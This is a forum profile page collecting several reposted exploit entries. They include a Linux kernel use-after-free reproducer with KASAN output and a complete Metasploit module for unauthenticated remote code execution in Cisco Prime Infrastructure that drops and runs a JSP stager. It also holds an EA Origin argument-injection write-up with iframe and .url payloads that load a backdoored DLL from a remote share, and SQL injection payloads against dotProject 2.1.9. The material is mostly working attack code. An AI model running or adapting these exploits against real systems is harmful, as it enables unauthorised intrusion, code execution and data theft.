跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. /* When a #BR exception is raised because of an MPX bounds violation, Linux parses the faulting instruction and computes the linear address of its memory operand. If the userspace instruction is in 32-bit code, this involves looking up the correct segment descriptor and adding the segment offset to the address. (Another codepath that computes the linear address of an instruction is UMIP, but I think that requires processors >= Cannon Lake, and my PC isn't that new.) get_desc() locks the mm context, computes the pointer to the LDT entry, but then drops the lock again and returns the pointer. This means that when the caller actually accesses the pointer, the pointer may have been freed already. This bug was introduced in <https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=670f928ba09b> ("x86/insn-eval: Add utility function to get segment descriptor", first in 4.15). To make this easier to hit, I patched a sleep into my kernel: ================ diff --git a/arch/x86/lib/insn-eval.c b/arch/x86/lib/insn-eval.c index cf00ab6c66210..5d9c59a28c76f 100644 --- a/arch/x86/lib/insn-eval.c +++ b/arch/x86/lib/insn-eval.c @@ -7,6 +7,7 @@ #include <linux/string.h> #include <linux/ratelimit.h> #include <linux/mmu_context.h> +#include <linux/delay.h> #include <asm/desc_defs.h> #include <asm/desc.h> #include <asm/inat.h> @@ -670,6 +671,8 @@ unsigned long insn_get_seg_base(struct pt_regs *regs, int seg_reg_idx) if (!desc) return -1L; + mdelay(1000); + return get_desc_base(desc); } ================ I also built the kernel with KASAN and full preemption. Then I ran the following test program, compiled with "gcc -m32 -mmpx -fcheck-pointer-bounds -o mpx mpx.c -pthread": =============== */ #define _GNU_SOURCE #include <ucontext.h> #include <stdio.h> #include <signal.h> #include <setjmp.h> #include <sys/prctl.h> #include <err.h> #include <unistd.h> #include <sys/syscall.h> #include <asm/ldt.h> #include <pthread.h> unsigned long blah; void post_bounds_label(void); static void do_ldt(void) { struct user_desc desc = { .entry_number = 0, .base_addr = (unsigned long)&blah, .limit = 0xffffffff, .seg_32bit = 1, .contents = 0, .useable = 1 }; if (syscall(__NR_modify_ldt, 0x11, &desc, sizeof(desc))) err(1, "modify_ldt"); } void *ldt_thread(void *dummy) { while (1) do_ldt(); } jmp_buf jumpy; void handle_segv(int sig, siginfo_t *info, void *uctx_) { if (info->si_addr != &blah) { printf("addr=%p\n", info->si_addr); } ucontext_t *uctx = uctx_; uctx->uc_mcontext.gregs[REG_EIP] = (unsigned long)post_bounds_label; } int main(void) { do_ldt(); pthread_t thread; if (pthread_create(&thread, NULL, ldt_thread, NULL)) err(1, "pthread create"); struct sigaction act = { .sa_sigaction = handle_segv, .sa_flags = SA_NODEFER|SA_SIGINFO }; if (sigaction(SIGSEGV, &act, NULL)) err(1, "sigaction"); while (1) { unsigned long mpx_bounds[2] = { 5, 6 }; unsigned long old_bounds[2]; asm volatile( "bndmov %%bnd0, (%0)\n" "bndmov (%2), %%bnd0\n" "mov %1, %%fs\n" "bndcl %%fs:(%3), %%bnd0\n" "bndcn %%fs:(%3), %%bnd0\n" "post_bounds_label:\n" "bndmov (%0), %%bnd0\n" : /*out*/ : /*in*/ "r"(old_bounds), "r"(0x7), "r"(mpx_bounds), "r"(0x0UL) ); } } /* jannh@laptop:~/mpx$ =============== The program started printing various hex numbers, and I immediately got this KASAN splat: =============== [ 3129.003397] ================================================================== [ 3129.003411] BUG: KASAN: use-after-free in insn_get_seg_base+0x9a/0x110 [ 3129.003416] Read of size 2 at addr ffff8883775da002 by task mpx/13947 [ 3129.003425] CPU: 1 PID: 13947 Comm: mpx Not tainted 5.2.0-rc2+ #10 [ 3129.003427] Hardware name: [...] [ 3129.003429] Call Trace: [ 3129.003436] dump_stack+0x71/0xab [ 3129.003441] ? insn_get_seg_base+0x9a/0x110 [ 3129.003446] print_address_description+0x6a/0x250 [ 3129.003450] ? insn_get_seg_base+0x9a/0x110 [ 3129.003454] ? insn_get_seg_base+0x9a/0x110 [ 3129.003458] __kasan_report+0x14e/0x192 [ 3129.003463] ? insn_get_seg_base+0x9a/0x110 [ 3129.003467] kasan_report+0xe/0x20 [ 3129.003471] insn_get_seg_base+0x9a/0x110 [ 3129.003476] get_seg_base_limit+0x181/0x4a0 [ 3129.003482] insn_get_addr_ref+0x18f/0x490 [ 3129.003486] ? insn_get_opcode.part.4+0x16d/0x350 [ 3129.003490] ? insn_get_modrm_rm_off+0x60/0x60 [ 3129.003496] ? insn_get_modrm.part.5+0xce/0x220 [ 3129.003501] ? insn_get_sib.part.6+0x60/0xc0 [ 3129.003505] ? insn_get_displacement.part.7+0xe3/0x1d0 [ 3129.003509] ? insn_get_immediate.part.8+0x52/0x710 [ 3129.003514] ? preempt_count_sub+0x14/0xc0 [ 3129.003517] ? preempt_count_sub+0x14/0xc0 [ 3129.003523] mpx_fault_info+0x1bc/0x2d0 [ 3129.003528] ? trace_event_raw_event_bounds_exception_mpx+0x170/0x170 [ 3129.003535] ? notify_die+0x7d/0xc0 [ 3129.003539] ? atomic_notifier_call_chain+0x40/0x40 [ 3129.003543] ? __ia32_sys_rt_sigaction+0x1c0/0x1c0 [ 3129.003547] ? preempt_count_sub+0x14/0xc0 [ 3129.003550] ? preempt_count_sub+0x14/0xc0 [ 3129.003556] do_bounds+0x24d/0x350 [ 3129.003560] ? do_double_fault+0x160/0x160 [ 3129.003565] ? fpregs_assert_state_consistent+0x54/0x70 [ 3129.003570] ? bounds+0xa/0x20 [ 3129.003574] bounds+0x14/0x20 [ 3129.003578] RIP: 0023:0x565e98e7 [ 3129.003583] Code: c7 85 64 ff ff ff 06 00 00 00 8d 85 58 ff ff ff b9 07 00 00 00 8d 95 60 ff ff ff bb 00 00 00 00 66 0f 1b 00 66 0f 1a 02 8e e1 <64> f3 0f 1a 03 64 f2 0f 1b 03 66 0f 1a 00 f2 e9 7c ff ff ff 55 89 [ 3129.003585] RSP: 002b:00000000ffdca1f0 EFLAGS: 00010286 [ 3129.003588] RAX: 00000000ffdca230 RBX: 0000000000000000 RCX: 0000000000000007 [ 3129.003591] RDX: 00000000ffdca238 RSI: 0000000000000001 RDI: 00000000ffdca2cc [ 3129.003593] RBP: 00000000ffdca2d8 R08: 0000000000000000 R09: 0000000000000000 [ 3129.003595] R10: 0000000000000000 R11: 0000000000000286 R12: 0000000000000000 [ 3129.003597] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 3129.003606] Allocated by task 13948: [ 3129.003611] save_stack+0x19/0x80 [ 3129.003615] __kasan_kmalloc.constprop.8+0xa0/0xd0 [ 3129.003618] kmem_cache_alloc_trace+0xcc/0x5d0 [ 3129.003622] alloc_ldt_struct+0x39/0xc0 [ 3129.003625] write_ldt+0x236/0x5d0 [ 3129.003628] __ia32_sys_modify_ldt+0x50/0xc0 [ 3129.003632] do_fast_syscall_32+0x112/0x390 [ 3129.003635] entry_SYSENTER_compat+0x7f/0x91 [ 3129.003639] Freed by task 13948: [ 3129.003644] save_stack+0x19/0x80 [ 3129.003647] __kasan_slab_free+0x105/0x150 [ 3129.003650] kfree+0x82/0x120 [ 3129.003653] write_ldt+0x519/0x5d0 [ 3129.003656] __ia32_sys_modify_ldt+0x50/0xc0 [ 3129.003659] do_fast_syscall_32+0x112/0x390 [ 3129.003664] entry_SYSENTER_compat+0x7f/0x91 [ 3129.003669] The buggy address belongs to the object at ffff8883775da000 which belongs to the cache kmalloc-32 of size 32 [ 3129.003674] The buggy address is located 2 bytes inside of 32-byte region [ffff8883775da000, ffff8883775da020) [ 3129.003677] The buggy address belongs to the page: [ 3129.003683] page:ffffea000ddd7680 refcount:1 mapcount:0 mapping:ffff8883d0c00180 index:0xffff8883775dafc1 [ 3129.003686] flags: 0x17fffc000000200(slab) [ 3129.003692] raw: 017fffc000000200 ffffea000f0692c8 ffffea000d4bb988 ffff8883d0c00180 [ 3129.003696] raw: ffff8883775dafc1 ffff8883775da000 000000010000003f 0000000000000000 [ 3129.003698] page dumped because: kasan: bad access detected [ 3129.003701] Memory state around the buggy address: [ 3129.003706] ffff8883775d9f00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 3129.003711] ffff8883775d9f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 3129.003715] >ffff8883775da000: fb fb fb fb fc fc fc fc fb fb fb fb fc fc fc fc [ 3129.003718] ^ [ 3129.003723] ffff8883775da080: fb fb fb fb fc fc fc fc fb fb fb fb fc fc fc fc [ 3129.003727] ffff8883775da100: fb fb fb fb fc fc fc fc fb fb fb fb fc fc fc fc [ 3129.003730] ================================================================== [ 3129.003733] Disabling lock debugging due to kernel taint =============== I'll send a suggested patch ("[PATCH] x86/insn-eval: Fix use-after-free access to LDT entry") in a minute. */
  2. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability', 'Description' => %q{ This module exploits a vulnerability found in Cisco Prime Infrastructure. The issue is that the TarArchive Java class the HA Health Monitor component uses does not check for any directory traversals while unpacking a Tar file, which can be abused by a remote user to leverage the UploadServlet class to upload a JSP payload to the Apache Tomcat's web apps directory, and gain arbitrary remote code execution. Note that authentication is not required to exploit this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'Steven Seeley', # Original discovery, PoC 'sinn3r' # Metasploit module ], 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Targets' => [ [ 'Cisco Prime Infrastructure 3.4.0.0', { } ] ], 'References' => [ ['CVE', '2019-1821'], ['URL', 'https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html'], ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-pi-rce'], ['URL', 'https://srcincite.io/advisories/src-2019-0034/'], ['URL', 'https://srcincite.io/pocs/src-2019-0034.py.txt'] ], 'DefaultOptions' => { 'RPORT' => 8082, 'SSL' => true, }, 'Notes' => { 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'Privileged' => false, 'DisclosureDate' => 'May 15 2019', 'DefaultTarget' => 0)) register_options( [ OptPort.new('WEBPORT', [true, 'Cisco Prime Infrastructure web interface', 443]), OptString.new('TARGETURI', [true, 'The route for Cisco Prime Infrastructure web interface', '/']) ]) end class CPITarArchive attr_reader :data attr_reader :jsp_name attr_reader :tar_name attr_reader :stager attr_reader :length def initialize(name, stager) @jsp_name = "#{name}.jsp" @tar_name = "#{name}.tar" @stager = stager @data = make @length = data.length end def make data = '' path = "../../opt/CSCOlumos/tomcat/webapps/ROOT/#{jsp_name}" tar = StringIO.new Rex::Tar::Writer.new(tar) do |t| t.add_file(path, 0644) do |f| f.write(stager) end end tar.seek(0) data = tar.read tar.close data end end def check res = send_request_cgi({ 'rport' => datastore['WEBPORT'], 'SSL' => true, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'webacs', 'pages', 'common', 'login.jsp') }) unless res vprint_error('No response from the server') return CheckCode::Unknown end if res.code == 200 && res.headers['Server'] && res.headers['Server'] == 'Prime' return CheckCode::Detected end CheckCode::Safe end def get_jsp_stager(out_file, bin_data) # For some reason, some of the bytes tend to get lost at the end. # Not really sure why, but some extra bytes are added to ensure the integrity # of the code. This file will get deleted during cleanup anyway. %Q|<%@ page import="java.io.*" %> <% String data = "#{Rex::Text.to_hex(bin_data, '')}"; FileOutputStream outputstream = new FileOutputStream("#{out_file}"); int numbytes = data.length(); byte[] bytes = new byte[numbytes/2]; for (int counter = 0; counter < numbytes; counter += 2) { char char1 = (char) data.charAt(counter); char char2 = (char) data.charAt(counter + 1); int comb = Character.digit(char1, 16) & 0xff; comb <<= 4; comb += Character.digit(char2, 16) & 0xff; bytes[counter/2] = (byte)comb; } outputstream.write(bytes); outputstream.close(); try { Runtime.getRuntime().exec("chmod +x #{out_file}"); Runtime.getRuntime().exec("#{out_file}"); } catch (IOException exp) {} %>#{Rex::Text.rand_text_alpha(30)}| end def make_tar elf_name = "/tmp/#{Rex::Text.rand_text_alpha(10)}.bin" register_file_for_cleanup(elf_name) elf = generate_payload_exe(code: payload.encoded) jsp_stager = get_jsp_stager(elf_name, elf) tar_name = Rex::Text.rand_text_alpha(10) register_file_for_cleanup("apache-tomcat-8.5.16/webapps/ROOT/#{tar_name}.jsp") CPITarArchive.new(tar_name, jsp_stager) end def execute_payload(tar) # Once executed, we are at: # /opt/CSCOlumos send_request_cgi({ 'rport' => datastore['WEBPORT'], 'SSL' => true, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, tar.jsp_name) }) end def upload_tar(tar) post_data = Rex::MIME::Message.new post_data.add_part(tar.data, nil, nil, "form-data; name=\"files\"; filename=\"#{tar.tar_name}\"") # The file gets uploaded to this path on the server: # /opt/CSCOlumos/apache-tomcat-8.5.16/webapps/ROOT/tar_name.jsp res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'servlet', 'UploadServlet'), 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { 'Destination-Dir' => 'tftpRoot', 'Compressed-Archive' => 'false', 'Primary-IP' => '127.0.0.1', 'Filecount' => '1', 'Filename' => tar.tar_name, 'FileSize' => tar.length } }) (res && res.code == 200) end def exploit tar = make_tar print_status("Uploading tar file (#{tar.length} bytes)") if upload_tar(tar) print_status('Executing JSP stager...') execute_payload(tar) else print_status("Failed to upload #{tar.tar_name}") end end end
  3. # Exploit Title: EA Origin <10.5.38 Remote Code Execution # Date: 05/22/2019 # Exploit Author: Dominik Penner (@zer0pwn) # Vendor Homepage: https://www.origin.com # Software Link: https://www.origin.com/can/en-us/store/download # Version: 10.5.38 and below # Tested on: Windows 7, Windows 8, Windows 10 # CVE : CVE-2019-12828 Electronic Arts' Origin Client on Windows in versions 10.5.38 and below is vulnerable to an argument injection vulnerability, that if leveraged properly, can ultimately yield remote code execution. NOTE: THIS IS TO BE READ IN MARKDOWN (.MD) FORMAT # 0x01 Introduction Over the past month or so, I've spent quite a bit of time reading and experimenting with custom URI schemes. As the last post on this blog clearly demonstrated, a poorly implemented custom URI can have a number of security concerns. When I say "a number", it's because I'm about to bring a few more to light, using EA's Origin Client as our crash test dummy. TL;DR: Another Origin RCE, unrelated to CVE-2019-11354. # 0x02 Custom URI Schemes In this demonstration, we're going to be using the Origin client. However, this vulnerability can be found in a number of other applications. This technique is hardly Origin specific. In order for us to fully understand how this exploit works, we need to understand how Windows treats custom URI schemes. If we look for Origin's URI scheme in the registry, this is what we find. [![](https://zeropwn.github.io/assets/origin_regedit.png "Origin Regedit")](https://zeropwn.github.io/assets/origin_regedit.png) As we can see by this snippet, ``` "C:\Program Files (x86)\Origin\Origin.exe" "%1" ``` whenever we call ```origin://``` or ```origin2://```, Windows will use ```ShellExecute()``` to spawn the process and replace %1 with our input. For example: ``` origin://game/launch ``` Spawns the Origin process with the following command line arguments: ``` C:\Program Files (x86)\Origin\Origin.exe "origin://game/launch" ``` If we RTFM a little bit and check out MSDN's documentation on registering custom URI schemes, we'll see that they point out some security issues. This is what they have to say: "As noted above, the string that is passed to a pluggable protocol handler might be broken across multiple parameters. Malicious parties could use additional quote or backslash characters to pass additional command line parameters. For this reason, pluggable protocol handlers should assume that any parameters on the command line could come from malicious parties, and carefully validate them. Applications that could initiate dangerous actions based on external data must first confirm those actions with the user. In addition, handling applications should be tested with URIs that are overly long or contain unexpected (or undesirable) character sequences." This basically means that the application should be responsible for making sure that there aren't any illegal characters or arguments injected via the crafted URI. ## A long history of URI-based exploits As detailed in this blog post... argument injection via URI isn't new... at all. [https://medium.com/0xcc/electrons-bug-shellexecute-to-blame-cacb433d0d62](https://medium.com/0xcc/electrons-bug-shellexecute-to-blame-cacb433d0d62) Some of these vulnerabilities can escape the "%1" argument by adding an unencoded " to the URI. For example, to inject arguments with CVE-2007-3670, all you had to do was get a remote user to visit your specially crafted iframe + URI, and the process would be spawned with the additional arguments injected. ``` firefoxurl://placeholder" --argument-injection ``` ### Couldn't you just use command injection? Because of the way ShellExecute gets called and passes the arguments, you cannot ultimately inject your own commands, only arguments. # 0x03 Argument Injection Due to the way that most applications (browsers, mail clients, etc) handle URIs, this becomes difficult to exploit in 2019. Modern browsers (Chrome, Firefox, Edge) will force encode certain characters when a link is handled. This obviously makes escaping the encapsulation difficult. However, for custom URIs that don't have encapsulated arguments in the registry, you can easily just inject arguments with a space. mIRC was recently vulnerable to this, to achieve RCE, the payload ending up being as simple as: ``` <iframe src='irc://? -i\\127.0.0.1\C$\mirc-poc\mirc.ini'> ``` You can read more about how that exploit was discovered and exploited here: [https://proofofcalc.com/cve-2019-6453-mIRC/](https://proofofcalc.com/cve-2019-6453-mIRC/) Anyways, for this example with Origin, we're just going to spin up a fresh Windows 8 box and use IE11. We'll talk more about bypassing modern security mechanisms later. ## The Payload So now that we've spun up our virtual machine, make sure you have Origin installed. Open a notepad, and paste the following: ``` <iframe src='origin://?" -reverse "'> ``` Open it in Internet Explorer, and allow Origin to launch (if it even prompts, lol). You should see the following. [![](https://zeropwn.github.io/assets/origin_reverse.png "Origin Arginj")](https://zeropwn.github.io/assets/origin_reverse.png) As you can see in the image above, the window icons are now loading in reverse. I failed to mention this, however "-reverse" is a Qt specific argument. Origin is written mainly using the Qt framework, which is what enticed me into trying these arguments. If we take a look at the process using Process Explorer, we see the following: [![](https://zeropwn.github.io/assets/origin_reverse_poc.png "Origin Arginj")](https://zeropwn.github.io/assets/origin_reverse_poc.png) This clearly demonstrates the argument injection. # 0x04 Arbitrary Code Execution Now how on earth are we supposed to get code execution from this? For us to see what options we have available, we need to know what other arguments we can use. We'll stick to the Qt specific arguments before poking around Origin's own arguments. After consulting the Qt documentation [https://doc.qt.io/qt-5/qguiapplication.html](https://doc.qt.io/qt-5/qguiapplication.html), we find out that we can use the following arguments on ANY Qt program. ``` -platform -platformpluginpath -platformtheme -plugin -qmljsdebugger -qwindowgeometry -qwindowicon -qwindowtitle -reverse -session -display -geometry ``` One of the more promising ones was "platformpluginpath". This flag allows you to specify a path to load Qt plugins from. These Qt plugins (DLLs) are then loaded into Origin and executed. We can exploit this behavior and load plugins remotely if we supply the platformpluginpath argument with a Windows share. Qt gives us a table of Qt plugins along with their respective directories. The QGuiApplication will automatically load valid DLLs that are a child of any of the following directories, when given the platformpluginpath argument. Base Class | Directory | Qt Module -----------|-----------|----------- QAccessibleBridgePlugin|accessiblebridge| Qt GUI QImageIOPlugin|imageformats| Qt GUI QPictureFormatPlugin|pictureformats| Qt GUI QAudioSystemPlugin|audio| Qt Multimedia QDeclarativeVideoBackendFactoryInterface|video/declarativevideobackend|Qt Multimedia QGstBufferPoolPlugin|video/bufferpool|Qt Multimedia QMediaPlaylistIOPlugin|playlistformats|Qt Multimedia QMediaResourcePolicyPlugin|resourcepolicy|Qt Multimedia QMediaServiceProviderPlugin|mediaservice|Qt Multimedia QSGVideoNodeFactoryPlugin|video/videonode|Qt Multimedia QBearerEnginePlugin|bearer|Qt Network QPlatformInputContextPlugin|platforminputcontexts|Qt Platform Abstraction QPlatformIntegrationPlugin|platforms|Qt Platform Abstraction QPlatformThemePlugin|platformthemes|Qt Platform Abstraction QGeoPositionInfoSourceFactory|position|Qt Positioning QPlatformPrinterSupportPlugin|printsupport|Qt Print Support QSGContextPlugin|scenegraph| Qt Quick QScriptExtensionPlugin|script| Qt Script QSensorGesturePluginInterface|sensorgestures| Qt Sensors QSensorPluginInterface|sensors| Qt Sensors QSqlDriverPlugin|sqldrivers| Qt SQL QIconEnginePlugin|iconengines| Qt SVG QAccessiblePlugin|accessible| Qt Widgets QStylePlugin|styles| Qt Widgets Because Origin uses the QtWebEngine and works with image files (jpg, gif, bmp, etc), it requires a few Qt plugins. If we take a look in Origin's install path, we'll see an "imageformats" directory, which is populated by a number of DLLs. [![](https://zeropwn.github.io/assets/imageformats_plugins.png "Origin Arginj")](https://zeropwn.github.io/assets/imageformats_plugins.png) Since we know for sure that Origin works with those following DLLs, we can take one of them and use them as a template for our reverse_tcp. Before we move forward however, let's just make sure that we can reach a remote destination via the platformpluginpath flag. [![](https://zeropwn.github.io/assets/origin_remote_plugin.png "Origin Arginj")](https://zeropwn.github.io/assets/origin_remote_plugin.png) Looks good to me. ## Creating the Backdoored Plugin As I mentioned earlier, since we have a few DLLs that we know for sure Origin uses, we can use them as templates for an msfvenom payload. The following image demonstrates the creation of a reverse_tcp by first using a DLL file as a template. Qt is pretty picky about what plugins get loaded into memory, which is why I decided to use a template. However, for future reference, all it requires is a valid ```.qtmetad``` section. [![](https://zeropwn.github.io/assets/create_payload.png "Origin Arginj")](https://zeropwn.github.io/assets/create_payload.png) Now that we've created our backdoored plugin, all we have to do is host a Windows share where we can remotely download it from. This Windows share must have one of the directories from the table within it, otherwise it won't properly load the DLL. Since we're using imageformats... well, we'll use imageformats. [![](https://zeropwn.github.io/assets/remote_share.png "Origin Arginj")](https://zeropwn.github.io/assets/remote_share.png) Where imageformats is hosting our backdoored plugin "FILE1337.dll" ## Finalizing the Payload Obviously, this isn't complete yet. We have "arguably" arbitrary code execution, but not remote yet as we have no way to get a user to actually launch our crafted URI. This is where the iframe comes in. ``` <iframe src='origin://?" -platformpluginpath \\NOTDANGEROUS "'> ``` We can host this iframe wherever we want, our target just needs to open it on an outdated browser. If you try the following on Firefox, the process getting spawned looks like this: [![](https://zeropwn.github.io/assets/opened_from_firefox.png "Origin Arginj")](https://zeropwn.github.io/assets/opened_from_firefox.png) Clearly this defeats the argument injection, which is what I mentioned earlier. This makes exploiting the Origin vulnerability much more difficult. Unless we can find a way to launch the process without encoding the special characters on an updated system... this exploit may not pose as big a threat. Anyways, like before, let's just make sure everything works on Internet Explorer before we get ahead of ourselves. <iframe width="780" height="550" src="https://www.youtube.com/embed/E9vCx9KsF3c" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> # 0x05 An Issue With .URL Files Seeing as modern browsers seem to protect against injecting arguments into custom URIs, I decided to look into Windows shortcuts. Interestingly enough, shortcut files do not encode special characters, which is an issue on its own. Would Microsoft consider this an issue? Hard to say. If they do, you saw it here first lol. Anyways, a .url file typically looks like this: ``` [InternetShortcut] URL=https://www.google.com ``` If you click that file, it will open Google in your default browser. However, if we supply it a custom URI, it will launch using said URI. On top of that... we can inject arguments, because of the lack of sanitization. This could be used to exploit a number of applications... not just Origin. You can use the following .URL file on a fully updated Windows 10 to inject arguments into the Origin process. Let's check it out. ``` [InternetShortcut] URL=origin://?" -reverse " ``` [![](https://zeropwn.github.io/assets/origin_win10.png "Origin Arginj")](https://zeropwn.github.io/assets/origin_win10.png) The Origin icon you're seeing in the background is the shortuct itself. Nearly impossible to notice the difference between a legitimate Origin.exe shortcut. Clearly this attack vector would require some social engineering. .URL files aren't considered dangerous by most browsers. For example, Edge will ask you if you want to open the file, it'll smart-scan it, pass the scan, and launch the process with the injected arguments. If you were to convince someone to open a specially crafted .url file, you could leverage code execution and infect someone via the custom URI scheme Origin has implemented. # 0x06 Tying It All Togther We've gotten this far, you may have a couple questions. One of them may be, what if the Origin process is already running? How will the arguments get injected then? That's where some of Origin's built-in command-line options will come in handy. There are a number of arguments that Origin accepts that we can use maliciously. So, let's say Origin's already running. In our payload, simply add the following argument: ``` origin://?" -Origin_MultipleInstances " ``` If there's another Origin process running, it'll spawn a brand new one with the arguments we supplied. Now, let's also assume that someone installed Origin months ago and haven't touched it in the same amount of time. Whenever Origin starts, it automatically checks for updates before doing anything else. Which means that if Origin were to push out a patch, your client would update before the payload was even executed. If we feed Origin the following argument, we can jump over the entire update check. ``` origin://?" /noUpdate " ``` Another thing we can do... is let Origin run in the background without bringing any attention to the process. Combine all of that along with the remote plugin preload and you've got a pretty fun exploit. ``` origin://?" /StartClientMinimized /noUpdate -Origin_MultipleInstances " ``` # References * [https://medium.com/0xcc/electrons-bug-shellexecute-to-blame-cacb433d0d62](https://medium.com/0xcc/electrons-bug-shellexecute-to-blame-cacb433d0d62) * [https://www.thezdi.com/blog/2019/4/3/loading-up-a-pair-of-qt-bugs-detailing-cve-2019-1636-and-cve-2019-6739](https://www.thezdi.com/blog/2019/4/3/loading-up-a-pair-of-qt-bugs-detailing-cve-2019-1636-and-cve-2019-6739) * [https://proofofcalc.com/cve-2019-6453-mIRC](https://proofofcalc.com/cve-2019-6453-mIRC) * [https://doc.qt.io/qt-5/qguiapplication.html](https://doc.qt.io/qt-5/qguiapplication.html)
  4. # Exploit Title: dotProject 2.1.9 - Multiple Sql Injection (Poc) # Exploit Author: Metin Yunus Kandemir (kandemir) # Vendor Homepage: https://dotproject.net # Software Link: https://github.com/dotproject/dotProject/archive/v2.1.9.zip # Version: 2.1.9 # Category: Webapps # Tested on: Xampp for Windows # Software Description : dotProject is a volunteer supported Project Management application. There is no "company" behind this project, it is managed, maintained, developed and supported by a volunteer group and by the users themselves. ================================================================== event_id (POST) - Sql injection PoC POST /dotProject-2.1.9/index.php?m=calendar HTTP/1.1 Host: xxx.xxx.x.xx User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://xxx.xxx.x.xx/dotProject-2.1.9/index.php?m=calendar&a=addedit Content-Type: application/x-www-form-urlencoded Content-Length: 273 Cookie: dotproject=gfkt21luioqv9eoh25hdaloe7v; client_lang=english; client_login_name=test1 Connection: close Upgrade-Insecure-Requests: 1 dosql=do_event_aed&event_id=0&event_project=[SQLi]&event_assigned=1&event_title=test& event_description=hkffkfuy&event_type=0&event_project=0&event_start_date=20190621&start_time=080000&event_end_date=20190621& end_time=170000&event_recurs=0&event_times_recuring=1&mail_invited=on Parameter: event_id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: dosql=do_event_aed&event_id=0) AND 3236=3236-- rnpG&event_project=0&event_assigned=1&event_title=test&event_description=hkffkfuy&event_type=0&event_project=0&event_start_date=20190621&start_time=080000&event_end_date=20190621&end_time=170000&event_recurs=0&event_times_recuring=1&mail_invited=on Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: dosql=do_event_aed&event_id=0) AND (SELECT 7581 FROM(SELECT COUNT(*),CONCAT(0x7170787a71,(SELECT (ELT(7581=7581,1))),0x71627a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- bOIA&event_project=0&event_assigned=1&event_title=test&event_description=hkffkfuy&event_type=0&event_project=0&event_start_date=20190621&start_time=080000&event_end_date=20190621&end_time=170000&event_recurs=0&event_times_recuring=1&mail_invited=on Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: dosql=do_event_aed&event_id=0) AND (SELECT 6637 FROM (SELECT(SLEEP(5)))bNDB)-- NfAk&event_project=0&event_assigned=1&event_title=test&event_description=hkffkfuy&event_type=0&event_project=0&event_start_date=20190621&start_time=080000&event_end_date=20190621&end_time=170000&event_recurs=0&event_times_recuring=1&mail_invited=on Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: dosql=do_event_aed&event_id=0) UNION ALL SELECT CONCAT(0x7170787a71,0x646772547a6e58774c464e54416963614c64646c7a6f6c745748597350686f535979714443794859,0x71627a6271)-- xXFB&event_project=0&event_assigned=1&event_title=test&event_description=hkffkfuy&event_type=0&event_project=0&event_start_date=20190621&start_time=080000&event_end_date=20190621&end_time=170000&event_recurs=0&event_times_recuring=1&mail_invited=on ================================================================== MULTIPART project_id ((custom) POST) - Sql Injection Poc POST /dotProject-2.1.9/index.php?m=projects HTTP/1.1 Host: 192.168.1.33 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.33/dotProject-2.1.9/index.php?m=projects&a=addedit Content-Type: multipart/form-data; boundary=---------------------------9310663371787104596119761620 Content-Length: 2749 Cookie: dotproject=gfkt21luioqv9eoh25hdaloe7v; client_lang=english; client_login_name=test1 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------9310663371787104596119761620 Content-Disposition: form-data; name="dosql" do_project_aed -----------------------------9310663371787104596119761620 Content-Disposition: form-data; name="project_id" [SQLi] -----------------------------9310663371787104596119761620 Content-Disposition: form-data; name="project_creator" 1 . ..snip ..snip . -----------------------------9310663371787104596119761620 Content-Disposition: form-data; name="import_tasks_from" 0 -----------------------------9310663371787104596119761620 Content-Disposition: form-data; name="project_description" fasdf -----------------------------9310663371787104596119761620-- Parameter: MULTIPART project_id ((custom) POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: 0 RLIKE (SELECT (CASE WHEN (6146=6146) THEN '' ELSE 0x28 END)) Type: error-based Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) Payload: 0 AND EXTRACTVALUE(9751,CONCAT(0x5c,0x716b767871,(SELECT (ELT(9751=9751,1))),0x716b6a6a71)) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: 0 AND (SELECT 6725 FROM (SELECT(SLEEP(5)))WETe) # # #
